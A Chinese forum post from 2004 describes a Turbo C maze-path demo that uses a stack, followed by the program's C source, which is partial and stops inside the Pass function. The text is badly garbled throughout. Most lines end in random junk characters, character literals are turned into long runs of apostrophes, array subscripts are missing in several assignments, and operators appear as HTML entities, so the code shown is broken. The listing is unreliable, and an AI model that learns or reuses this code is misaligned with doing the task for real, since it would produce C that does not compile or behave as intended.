QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7686|回复: 11
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>
6 R4 P: Y7 C. q. V< align=left>程序目的:
9 L3 V: U* v# g9 q输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并
" F( M- r: H! n  p- N$ Y& a) M显示在屏幕上。1 }7 ?; [: _  x* p7 g; P
程序实现:
. M, H7 l0 @% ~$ X* i可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的( w0 ]- s% g0 u. @, k
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
- u  \2 d" v, \, X9 |. d入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫
# Z6 M: j  r9 z, F! j+ d- V时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。1 L$ O7 d7 a' x6 ]
否则会出现错误信息。输入开始时全是墙,用上下左右键移动,7 q/ {( B1 R6 \& [4 R2 K; N9 t
用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
) u7 H( N* t# K6 i将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,/ b, n  z1 X9 p0 i: ]1 D  L! J
找到路径时,屏幕下方会出现Path found,否则出现Path not found。
: L9 r9 n9 f3 O5 m3 u/ N程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
" ?1 H, [+ c$ u& J8 l不可以在VC上编译。
/ Z7 p2 H: g  I* Z下载DOS版和windows版的迷宫游戏全部代码2 f& j& K5 J' |$ y9 o% k2 n; w0 v
用户名:migong
1 ?' ?  l& q/ N----------------------------------------------------------------------------------
6 V+ V! s, ]1 _, z7 S* O; l1 r) d/*: w+ C0 I( F) S: o" ^; C
MazePath Demo BY Turbo C 2.02 ]  b6 _5 ^6 i5 l
Copyright(c) RoverUnion. All right reserved.
# [2 ~- X: }3 }1 VFilename: Maze.c
( b4 y6 N6 k% \4 O. Y2 cAuthor Dongchengyu.
, ?1 U" p9 @4 k  JVer 1.10! f' X/ ]* G1 j9 d
*/
5 O9 V9 G. [# a, S& L( y5 _#include &lt;stdio.h&gt;
; U5 V+ O0 p  `#include &lt;stdlib.h&gt;
& C5 ~+ n4 [" o- r: A3 ~( A#include &lt;malloc.h&gt;4 {; k% p( Q' {3 `7 V! L0 ~" p6 C6 c
#include &lt;conio.h&gt;
9 X$ a# Y0 O6 z' T' G+ r+ W- v8 [: T#include &lt;dos.h&gt;6 D  W) n+ @6 c. ^  ^2 c% R
#define OK 1
$ S" A7 @6 x! O$ P9 e) |8 C* y#define ERROR 0
% p) A1 }. V4 S% `1 x* |5 Y# H4 g; P3 W#define TRUE 1
+ ~5 S5 g" d6 f5 d3 z; b0 f#define FALSE 0
( w! B# a1 S+ d( V/ c6 g2 P#define F9 0x435 X* h$ }* h% z3 @' b( Q
#define Esc 0x1b, G1 k6 T5 }" @- i
#define Del 0x531 C8 C4 ~5 H8 P
#define Home 0x47  Y- D. K, h6 N
#define End 0x4f+ s- z6 K* J7 j. X: `. `" ^
#define Space 0x20
7 V/ x+ Q0 e/ t0 x6 x3 p' H#define Up 0x48" s! j9 _) S8 H& g9 V
#define Down 0x500 Y! C7 w9 L, [# A
#define Left 0x4b
- ^0 k8 @2 v& L3 s; M: v1 |* k#define Right 0x4d$ ~3 |0 S, N! d& O- e- ~
#define Enter 0x0d. i  @& i2 }" T& X* t
#define F2 0x3c! j3 ]3 x* j7 ?( [/ O( r
#define F3 0x3d
6 {  I2 S% J) J8 n4 _, s& Q& E#define STACK_INIT_SIZE 200
( O3 M, `  u3 F! \7 \#define STACKINCREMENT 100 J5 I8 g5 b2 V9 K3 |* X
typedef int Boolean;: y1 F2 K2 b/ ~0 R) h% Y( w& r
typedef int Status;
; z4 U9 I. q! d- q- @) Ftypedef struct {- Z) f! W1 @+ X
int x;
9 O; b" _# ~  e/ l- }7 w3 D5 l1 @int y;/ o  r5 a( R" t. F! a- ?% z
} PosType;$ H: |/ u; n# L8 s
typedef struct {
% y) S6 b4 @4 a+ X% X# l1 rint ord;* a5 D% X: h2 `2 z
PosType seat;
/ D" S' ?% s$ @  L; t7 Wint di;, C5 ^6 K% l& M* t: h, f" l
} SElemType;
/ o; }3 u0 s' f8 u* |) X+ Qtypedef struct {
- f6 V1 ^9 E: \4 Q/ ?int td;
7 L/ ]8 Y+ J' ?0 s, Pint foot;( u% X( W* m2 w0 Q& l" J; d4 x% F
int mark;4 b  Z3 U& V1 v. D3 a- g5 ]& l% @/ u
} MazeType;7 L: x- D% ?* v& r
typedef struct {! P" H- Q7 V# E
SElemType *base;
; T" [$ ?* \6 E9 R6 A$ u) v/ }SElemType *top;6 w7 A8 Q, _* t4 ]: k2 E
int stacksize;+ y9 _& l, v/ Z  O6 u) G" h# p  a
} Stack;
' Q7 }6 i& d1 c# T+ wint Maze[20][30];2 N. ^2 \0 k* i- F' U
MazeType maze[20][30];2 `/ I7 R. {1 M6 I: T- l6 ]5 u1 a
PosType StartPlace;
7 Q  }* h% H8 ]$ Z! lPosType EndPlace;
, t3 G8 |2 z7 g8 F9 r+ m2 eint count;' _& `5 i8 Q) E$ w
int m,n;
3 e" T% D7 _- y! v. v3 `+ VBoolean b_start=FALSE,b_end=FALSE;: f6 O( B/ s- s
void CreatMaze(void);
. W0 |/ O, W7 yStatus SaveMaze(char *filename);
$ e2 r$ O& P$ k1 rStatus LoadMaze(char *filename);# t3 ]) i! H5 i: m9 K# y- U
void Error(char *message);
7 }% J9 W$ C6 o0 V0 S1 M0 |5 p8 _Status InitStack(Stack *s);
9 T4 S2 n3 F  Q& b, xStatus DestroyStack(Stack *s);) q/ E) N+ d2 i+ n
Status ClearStack(Stack *s);: A' n3 `: }' l8 b0 z
Boolean StackEmpty(Stack *s);; \7 I8 g7 {* w; G% f7 U
int StackLength(Stack *s);
, o+ m* K* f5 }) s9 OStatus Push(Stack *s,SElemType e);
. a0 G& a" F9 M( KSElemType Pop(Stack *s,SElemType e);4 R$ e: ?0 T" u; d
Status GetTop(Stack *s,SElemType *e);5 X5 ^' v2 {  |3 o; _: A1 l
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));! Q5 W$ f* {4 }4 Y# n: f) v
Boolean Pass(PosType curpos);! j' V% x  E9 M& z2 o
void MarkPrint(PosType seat);
! j# H; ]5 u1 u9 T' k1 o) tvoid FootPrint(PosType curpos);
4 m# Y  T" Y3 j; C# k7 J- J! oPosType NextPos(PosType seat,int di);
3 Q4 H# p. u3 f2 U6 S% Z. YStatus MazePath(PosType start,PosType end);
% J% ~: ^' I& |; X1 e( Evoid CreatMaze(void)
- `0 i8 t1 g; e8 I- H/* Form the maze. */
& g5 D0 W8 K% }3 g" h( Q5 }& f{4 \* t1 d* t6 V7 Z- H
void Error(char *message);; i- q, b. Y5 H" f& C
Status SaveMaze(char *filename);
1 m  e* U3 s! qStatus LoadMaze(char *filename);
% T1 W& v9 Y! F6 C/ Rint i,j;
5 [  W( G8 H  oint x,y;
( O, h$ |7 l) _" T' xchar c;2 H* p# u' ^2 q  s5 H- b3 P4 l
char savename[12],loadname[12];$ h- }+ j/ }3 E2 P1 E* J, Y
Boolean flag=FALSE,load=FALSE;# x" U6 S1 J) ~) u
clrscr();$ z0 j. A5 b& |  [9 o
printf("Menu:\n\n");
6 I) o% Q1 v/ L" q- d( Z& _! Fprintf("1.Load Mazefile*.dd)\n\n");
0 f, t4 W. n- h" |printf("2.Input Maze:\n\n");6 @# _% K8 M% j0 N9 m' S8 F
printf("Input your choice: ");4 s' L1 s- u# c8 `: e& N' m
do
) P: B/ a/ R0 G- L; n) G5 y" Z; i{
! @- X0 ?4 m4 g+ r0 g, o' fc=getch();; b6 B  U7 H+ |/ {. y
switch(c)
7 x: m2 J5 j1 R5 K5 S; I8 T) L0 l{0 ]5 `3 S" v/ g7 p% v4 b/ ], c
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
0 B6 Z# O2 g: l' Q0 P  K5 pcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;0 i. C0 B% [* f1 t3 P
case Esc: sleep(1); exit(1);1 g# t& Z3 c) ?/ {6 ?6 [
default: break;
6 P- `3 h! K) @1 T/ k}
  N: b$ h) X, f8 i7 M) M# [! `5 L/ U}
) H, Q% A: i$ N- Q. }while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
8 Y! R( t) d# Y$ e( Fif(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')- D8 z5 l: K9 }  Y, B' X/ x
{+ n6 C9 i( @( S6 _1 Z4 }: e
printf("\n\nLoadName: ");- S/ T" i3 D; P2 Z7 y
scanf("%s",loadname);  J# V2 _; c! P2 B8 x2 `8 @! c5 S
if(LoadMaze(loadname))
& Z0 R2 ~/ [. v* E{
! d% y3 S$ p: {0 p9 t0 V: }( s' ksleep(1); load=TRUE;. f0 ]0 Y& Q+ z1 H
}6 {1 ~' l* y" k# Y
else { gotoxy(1,9); printf("Load fail! "); }2 F" C( E3 e  k  U( o
}
: a0 x0 d- g' d9 s, ~if(!load)
1 R, l, m6 x: r6 b  D7 z{0 F9 v) @# E3 V& J
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
" [0 v+ o1 |" zprintf("\nInput Length :\n");& f$ b8 z) y: N3 B' m  x* P
scanf("%d",&amp;m);. k6 Q/ J& S" W, d7 P( Q& k
printf("\nInput Width :\n");
4 `- ~4 c8 N: vscanf("%d",&amp;n);
. e& L, ?0 p5 C% F* h, uif(m&lt;4||n&lt;4) Error("Input");
& {3 q; r; ]7 d3 kif(m&gt;30||n&gt;20) Error("Maze too large");8 r8 E# L& h) W3 N& f  x
for(i=0;i&lt;30;i++)
' g6 \2 J% a( o  }for(j=0;j&lt;20;j++)
& H, X( p9 d9 P/ x4 I$ \Maze[j]=2;" l: @, t: d5 n( F) d7 E
StartPlace.x=0;4 C  \7 T1 g" N4 _
StartPlace.y=0;4 ^6 t( `+ {8 g1 }8 n. i5 `
EndPlace.x=0;
+ J  ~* |4 b; V6 i8 [EndPlace.y=0;/ j8 L$ Y% F9 A- m2 m. b
clrscr();' C/ x* W) R1 _. {
printf("\n");! y0 C" @: a2 \/ j) |9 y
for(i=1;i&lt;=n;i++)
) ]& {( c6 }1 ~: g{6 f0 m) R, e( [2 O& S
for(j=1;j&lt;=m;j++)$ V+ X: C% R2 e5 B" |/ L  t4 ^* ^
{
5 \9 n+ Z  G/ k4 y) i6 {" fprintf(" #");
/ F: [0 l- `$ ~: O1 aMaze[i-1][j-1]=0;
; }0 n2 R5 k- O& D}
) s5 m' H& P! w/ i: Zprintf("\n");2 `4 ^0 H6 j& S/ e% ]
}! P/ E- H% r! c6 V
}
& v/ D+ j6 C: Z  h! mgotoxy(65,5);
6 J2 C8 W+ H: b/ x; j  a/ qprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
9 F& K2 i0 M4 h# l& J2 mgotoxy(65,7);& v2 F. C. X7 ]6 L; S1 h
printf("Start:Home");" r$ u' Y- ~1 B3 O
gotoxy(65,9);7 d, u/ d- d. L7 O( _7 F
printf("End:End");
5 q* X. u, j' n" Wgotoxy(65,11);/ p5 x4 }5 L' t0 ?
printf("Delete Wallel");7 A& R) ~; A8 O$ ]$ |
gotoxy(65,13);1 Z" r) b% Y6 T
printf("Enter Wall:Enter");5 p: R5 Q; L5 j! t3 Q9 s
gotoxy(65,15);+ x7 N8 E5 A2 k" o
printf("Save Maze:F2");/ _6 L% a' ~) K7 u. H; [
gotoxy(65,17);
& t1 f- Y5 d2 iprintf("Complete:F9");
( E3 o* }; M* [gotoxy(65,19);% S# V" b: `- P& H& O
printf("Exit:Esc");
9 S9 J2 x* y; {) \- ?# y2 ]gotoxy(4,3);
- _/ b# Y4 b5 e: v8 wx=4;y=3;
3 d6 C8 P7 @  D1 _6 y1 |do  _6 ?! n! ]8 [# ^( P: K
{
5 ]* s& v' c# j1 U: ]c=getch();8 _9 d/ v3 L* |4 Z
switch(c)
  v- u" \- r; C; U/ d6 @{
' x9 P, O6 c( U: f% |case Up: if(y&gt;3) { y--; gotoxy(x,y); }
  g  Q2 o# q8 obreak;
. S! d) V9 a6 `( R% u7 b7 S# F9 acase Down: if(y&lt;n) { y++; gotoxy(x,y); }6 d1 N; A  ^7 D
break;$ k7 B; n7 _+ o+ C( x
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }7 v9 |5 L$ c1 y/ }1 ?3 {$ ], \
break;
. D; |  ^* p3 f6 [  m& p% Acase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }* w9 v+ V- }/ f9 m1 d8 `
break;0 e* N1 r( a3 I. H3 |' M
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;) {9 t4 e8 ?& G& V" C7 A
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;9 w1 c/ Q' F" q0 E1 Q  _& R
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);- [4 O7 e* B+ e& V' H" H4 o
break;; Y- A: {( X! Q9 `4 g8 `
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
, c" @  \; U. {3 y& Jif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;6 V! O! s( t9 D5 }
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
' s: ^8 }9 t  L9 {break;! l' `) N- L/ v7 A7 @
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
$ v2 q  I: ]4 x* R{
2 W8 H3 w& W4 ]. {0 a; L' KStartPlace.x=x/2-1;
. |. h; G( M6 x8 j, v  ]" o3 y5 r( |StartPlace.y=y-2;9 @  k0 w% @7 @0 t/ F  U6 l
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
! j# a7 f% z; X: |2 `2 d/ fgotoxy(x,y);
3 k, ^" O" e! _! U; D7 ], Kb_start=TRUE;. b" r0 M0 Y. P5 o1 N
}" V" k' k8 J3 {- I# u; ~( R* |
break;; [  i+ ?7 i; C5 |9 J0 W% p
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)1 h) i) r5 W9 v3 D" }: ~" U
{4 l8 s% y, s3 m
EndPlace.x=x/2-1;
. j! |# [8 U+ t2 s: sEndPlace.y=y-2;! _" R0 d' \- }+ L5 p# i
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
, N9 K& ]$ Y8 U4 d7 Ogotoxy(x,y);" T, i. t# r6 O# A! y$ `
b_end=TRUE;. }# W# n- w5 ~+ H  J: T
}* k; \3 C: v) A4 o" f
break;, A) D1 S# w2 O8 q
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);4 A8 j3 b$ W, R" |. J
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
. G$ }; j1 R/ Acase F2: gotoxy(2,22);  q$ ?) a% G8 t+ A2 E7 ^
printf("Savename:");+ W5 G4 s& P0 J8 r' `: j1 n: g( V
scanf("%s",savename);
$ [+ b. l" d6 Z4 ogotoxy(2,22);4 E7 V+ j# V* W% x
if(SaveMaze(savename)) printf("Save OK! ");4 h! `  j5 L1 X1 h( b+ d& ~4 \
else printf("Save fail! ");
! J8 Y8 t) z) s& T. `  {sleep(1);
' |$ k) Z- t6 h$ ^0 o* {gotoxy(2,22);: x- p( Y* @; y+ t; }9 x; A+ n  d& G
printf(" ");% F1 |7 q- h; b! i7 F
gotoxy(x,y);4 b$ Z( A* j5 d4 h0 o- J8 w
break;
2 T0 s( v! V' Q4 o8 M: i) vdefault: break;4 i! X5 D* f+ l. E
}
8 L& D- B4 a; e* K}# A# ]4 F- q* w( _
while(!flag);' }4 w3 A+ W# X' a5 T
for(i=0;i&lt;30;i++)
& i9 X  V2 M. ^+ ^8 k3 h/ g0 `for(j=0;j&lt;20;j++)" L2 h0 F& i) K# B& x
{4 i6 a+ b7 @; N1 ^: u) r
maze[j].td=Maze[j];
; z/ ~: Z7 V* M: p2 K" E0 Zmaze[j].mark=0;/ t  _0 {- a& D7 z3 D! Q) Y+ M
maze[j].foot=0;5 E3 ^# Q2 E% q
}
% E4 ?: C! {1 N- Z! _* c) S}1 n! S8 A5 {; l% ]) Y3 S5 Y) \
Status LoadMaze(char *file)) N# @/ {6 S5 K
/* The maze has been loaded. */
0 |2 e# f8 [' M1 ~: F* `7 {{- w% m5 R0 r% O6 ]
FILE *fp;& U! {; B) L# y$ P/ G, l
char *buffer;
& p4 t% B& X) ?5 Z" X! u' wchar ch;- N4 s( T& N' _  c# x& {" h
int i=0,j,k;
# y& j: _# ]8 I' `7 d, q  C, s2 L( ABoolean len=FALSE,wid=FALSE;
+ _9 [$ r% L4 x/ s: f% g( L; hif((fp=fopen(file,"r"))==NULL)
. I. v4 {4 ]$ z! C% G1 Lreturn ERROR;
0 H& s& H; g+ `( `buffer=(char *)malloc(600*sizeof(char));( U3 i. u5 }% F4 S7 }, L
ch=fgetc(fp);
6 U9 n+ K( d" L! F. ~; w! dwhile(ch!=EOF)5 \, |0 K( R' G4 ~& m
{
5 _  i$ I# Y0 {3 z% ubuffer=ch;
9 Z7 R. f; Y$ T$ X& Ki++;
9 ~* R7 N/ |0 @" z7 L9 W7 pch=fgetc(fp);7 L& f2 ?4 I2 n% O+ U  g. |7 ]
}
) P* T' L  ^/ @4 Y/ \- `& ~m=30;n=20;. J/ O2 ?! e% m. z, d) Z
for(i=0;i&lt;600;i++)' l. X/ H2 L8 P
{
' n( n% K; v7 A. ij=i/30; k=i%30;
' O& X( d  Q- F, c6 fif(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }; V! r9 H8 ~6 x. t
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
' S0 L& o% ]6 v$ n% Lswitch(buffer)
, [4 [9 U. z/ y/ k' B" S( K) j* e1 I+ J{/ O- O4 n6 r, r* }
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;- M7 n  j: u/ ^6 z5 e  P8 o
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;% ?% L! V( P# y, C( S" O
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;9 P: e/ S" m& v
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
. r' x4 J4 G* @) \3 FStartPlace.x=k;" X+ K$ r: w0 \* l, ^! f7 P
StartPlace.y=j;
6 ~# \  s" O  p# n: tb_start=TRUE;; y) ]7 Z8 d' ^6 [: E
break;
9 X& d% V6 J9 d/ F. X3 Hcase ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;# d! T. C# e( b
EndPlace.x=k;
4 ]' k" E. T" V$ O/ dEndPlace.y=j;- N+ ~2 {# @3 N5 S7 b6 A) e5 w. j" f. f/ I
b_end=TRUE;
- i* h& Z' c, b9 fbreak;
4 o& @9 b. R! t! y( Udefault : break;
1 u9 }$ Q+ v% U9 G9 P}
$ m: H* a/ I3 ~: v& q* d}/ |6 R) ~  u8 ?- h) a% e2 P& b, u
fclose(fp);) [0 y0 {- m  D0 e- D. |  p
clrscr();
/ w# _1 F9 ]& B5 o( b  nfor(i=0;i&lt;30;i++)& S* m! Q# E& s8 s' O' {- s3 F  y. e
for(j=0;j&lt;20;j++)  \) X& f4 I' @! Z6 ^0 @
{
. B/ e3 C% u, v3 Jmaze[j].td=Maze[j];( k! H& w& b  L- U  Y# b8 E- q
maze[j].foot=0;3 Z. r, }: {0 z" f0 Z; o- `; T
maze[j].mark=0;8 T/ n! [! Q- P" B# ]9 t  }
if(Maze[j]==0)
/ e# m9 {+ V5 i2 K* K+ X{8 m' x8 X( ^" c  i/ B
gotoxy(2*i+2,j+2);9 c' C: T/ ?% e) T7 }/ N% x! x) v
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
8 Q. y$ X: \( x. d" B0 m/ W' ?}
- z8 a" W3 w7 X7 z! e; _: s# q+ `}
3 u& X; M7 V+ y9 {& _2 Wgotoxy(2*StartPlace.x+2,StartPlace.y+2);
2 ^& _( S2 K3 R) a/ X$ xputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
1 `6 o* h: z8 Z/ J# w5 d) I: Ugotoxy(2*EndPlace.x+2,EndPlace.y+2);
! H) z2 ^7 }  q4 Kputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
! @5 A$ X8 m7 Q- `0 y5 \, \return OK;- b5 \) ]7 G1 K9 K2 ]1 G# w/ @
}* L  A: _2 l8 b- }; E( L* r$ n
Status SaveMaze(char *filename)
# G, t7 Y" G, e3 o% P/* The maze has been saved. */" F; a/ K2 m) |, G
{
0 V* p! i, U2 Y; H$ d* u; mFILE *fp;8 i  v4 J; H! B  s3 A
char *buffer;- N. q7 J8 a' X! n
int i,j,k;  N( |& |9 t) o* q, c3 u: t
fp=fopen(filename,"wb");$ d; {* I* D9 f$ u! P
buffer=(char *)malloc(600*sizeof(char));7 x" {6 z& V6 }% ^7 M$ W; w
for(i=0;i&lt;600;i++)
5 a% |7 G: i, r+ n2 c{
' s& M3 R, S" F$ ]5 G/ G+ ]j=i/30; k=i%30;
2 Z( ^; W# ^! d/ Iswitch(Maze[j][k])
# U4 S2 ^! V# W, A{' W9 B$ x9 G1 O' C- I* O" `" N
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
  H7 W& D. r2 p0 B  t% `' }case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;4 h# C$ Q; d- E) \. M5 c
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
6 E" q8 w. X8 [, `; O3 m, a% J: sdefault : Error("Write"); break;
6 E. |3 j0 U( w# k}) A3 E* `& I: y; }4 q
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
  v2 M- Y4 s- {7 R, Bif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';
+ N( _9 b5 ]/ ?' t! U}
4 {* A) A! F0 f' v" B* J7 j& Qfwrite(buffer,600,1,fp);' C9 j' M' N+ f8 U
free(buffer);
3 f9 N  G0 A' j+ t. V. r, ~$ K- pfclose(fp);
6 y" c/ b- A" K5 rreturn OK;
1 j/ n# Q$ m, \" {4 J}0 w6 S) F- ?6 ?
void Error(char *message). T) e8 c/ y7 k3 A5 F; a
{2 w' |! ^" z; |0 Y. z- z$ q
clrscr();
3 [# s8 z3 L. f8 yfprintf(stderr,"Error:%s\n",message);
5 c( \( t9 [- f& Pexit(1);
  l2 z+ v- I; X$ u+ p5 f' |} /* Error */
& }: A( h2 p# V5 L$ k
8 k1 T$ W: ~. @0 z9 JStatus InitStack(Stack *s)
) {5 I% ?/ \0 A/* The stack s has been created and is initialized to be empty. */% e# y) F0 z/ F& `8 G, L2 C3 Z
{1 N. F. j. v' ^1 y- H
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));# [) B* z- l' W6 `6 G0 g% B4 ]
if(!s-&gt;base) Error("Overflow");: [( W7 ]9 _1 Z7 L
s-&gt;top=s-&gt;base;
  O  |  x; Q' A* Z- xs-&gt;stacksize=STACK_INIT_SIZE;! B: T% P) g8 g  ^8 m! b- ^/ q& S
return OK;
4 d3 G' _# K- H} /* InitStack */
# G$ C0 s" @3 b, {; x2 aStatus DestroyStack(Stack *s)
+ L3 J& u7 a1 M/* The stack s has been destroyed. */
0 m; H- h6 a" H3 k- W8 B5 a0 G* p, v{8 V& X" m$ g* v' y0 F
s-&gt;top=NULL;
4 `9 S3 o9 x4 e3 Hs-&gt;stacksize=0;
! S% a* F! |, O3 P/ v( j9 D, ~free(s-&gt;base);3 e. g- P, ]& D. u0 @# x% {# L
s-&gt;base=NULL;
8 i* ]2 I, G( e( J7 B* P1 \return OK;' C4 y+ }! }% E+ B  x5 `; t
} /* DestroyStack */
  Z$ e4 T0 a! W& c; O  j, z) bStatus ClearStack(Stack *s)
( Q$ b  G& ~7 z7 n# K" k( d/* The stack has been clear to be maximum. */
' ~/ k2 z0 l. h2 i+ N/ B{4 i/ V$ q+ g- h2 i( H
s-&gt;top=s-&gt;base;3 B. T/ j4 n/ v! K! M0 ^3 @
s-&gt;stacksize=STACK_INIT_SIZE;
  c6 n) e# c/ ]! x( _return OK;
3 [! z' B0 g7 i} /* ClearStack */
* C+ k% f2 j2 Y* w& E: x: DBoolean StackEmpty(Stack *s)
, \6 a3 Y' A# q) Z/* Check if the stack s is empty. */
( E$ r" V; y$ r, q% H{5 B" `0 Y  }! x  K& Z; W  [+ L# ~* C
if(s-&gt;top==s-&gt;base) return TRUE;/ D  ^# Y; |7 @# c6 v# L4 u
else return FALSE;
( W4 s0 z0 l. H7 n( Y} /* StackEmpty */2 e2 f, |' ?$ f) N. u" Q5 u% {) N$ u
int StackLength(Stack *s)7 |7 Y0 r/ `0 P2 h& T! I7 P
/* Gain the length of the stack s. */: I; r" l6 f! y- b5 @1 e+ J
{
3 D) o9 \! m2 q9 ^; z: uif(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);# I( H7 \# N. N7 V% {' o5 ?& d
else return 0;
. m  y5 \& ?: |$ [7 |} /* StackLength */
- _; v& O  f4 ~) V) ^' ^Status Push(Stack *s,SElemType e). F1 |- {) j+ [& l( D; i, N
/* The element e has been pushed into the stack s. */
, H( k7 O  q* x3 P{
1 V- p" [5 Y4 A) d! mif(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)5 P9 Q8 p/ t  [8 \8 s
{
- ^/ H6 l& I* f( j# m+ Ys-&gt;base=(SElemType *)realloc(s-&gt;base,8 e% B  f" W  E/ r, L  l! a: o" H
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));+ s- n$ A9 w9 ~! `
if(!s-&gt;base) Error("Overflow");; b5 @! J! `- N" q7 X& |+ `
s-&gt;top=s-&gt;base+s-&gt;stacksize;4 V' `8 y1 y. G% k+ F1 j
s-&gt;stacksize+=STACKINCREMENT;
; X+ `, i5 e1 c$ S}; k8 p9 q# L* s3 Q
*s-&gt;top++=e;
  V: Q- r$ H- p, A' [7 vreturn OK;
1 q2 Q: m+ o9 O% T* t} /* Push */
9 F  a1 G4 j3 Z) g: BSElemType Pop(Stack *s,SElemType e)
( W9 {) X6 Q4 V( z! n, ~7 c2 B& h/* The element e has been removed from the stack s. */$ L+ v! h+ B5 b
{1 _. ?( x/ U+ T2 `
if(s-&gt;top==s-&gt;base) Error("op");
1 W% N) x2 z* ?! i1 v  fe=*--s-&gt;top;; y0 Q% G! A5 v7 c# O" q3 @% ]
return e;. b8 Q7 `; F4 q: F6 ^# h( c* \
} /* Pop */
/ I( c# A; p& N7 i& k" f0 I9 n) lStatus GetTop(Stack *s,SElemType *e)
8 Y$ x, G1 _- z5 X/* The element e has got to the top of the stack s.*/
: p6 i# L; M" E" t8 b- A: c1 Y# d{& f$ z* g  }, P. t
if(s-&gt;top==s-&gt;base) Error("GetTop");
, K4 ^# ?+ p$ T*e=*(s-&gt;top-1);% ?) m0 k4 B* @( g; N  s
return OK;# ~# {  e8 Y! h2 h9 n
} /* GetTop */
3 m% ]$ d" Z+ S/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */- y3 e( o+ z/ l+ k0 S/ H  q% W: d2 G
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))7 G0 T9 m) u+ }: V8 P( f& H
{- @/ f; C) ^+ |/ U6 W' d
SElemType p;' P1 T9 X( q: j" D
int result;
" g- W; g' J! ?9 r0 z; z0 w% K5 yif(s-&gt;top==s-&gt;base) return ERROR;$ @6 Q5 s# b8 H& z3 Y
p=s-&gt;base;- m& z! C+ }1 C  Z: Z
while(!(p==s-&gt;top))
: ~0 W. d6 i% C2 S& b{6 H$ a+ |0 d/ L; T9 Q% W
result=(*visit)(p);
  [9 V3 j6 W* |* n& V# {p++;5 d* s. k; m  w8 W. y
}) m; j. o: }/ b) ~& @6 @* j
return OK;6 e$ [' n. _" `
} */
# L5 }8 p. V* Z5 R: W) I# V5 `Boolean Pass(PosType curpos). b! Y, o4 I, S
/* Check if the current position can be passed. */
3 D! A+ _, y% {{" V# C9 y" c. u, f& W
if(maze[curpos.x][curpos.y].td==1&amp;&amp;8 e  E3 s- B' G
maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)6 a, b; f* G* i* j
return TRUE;/ G( s" _. A0 A) Q. z& ^, _
else return FALSE;
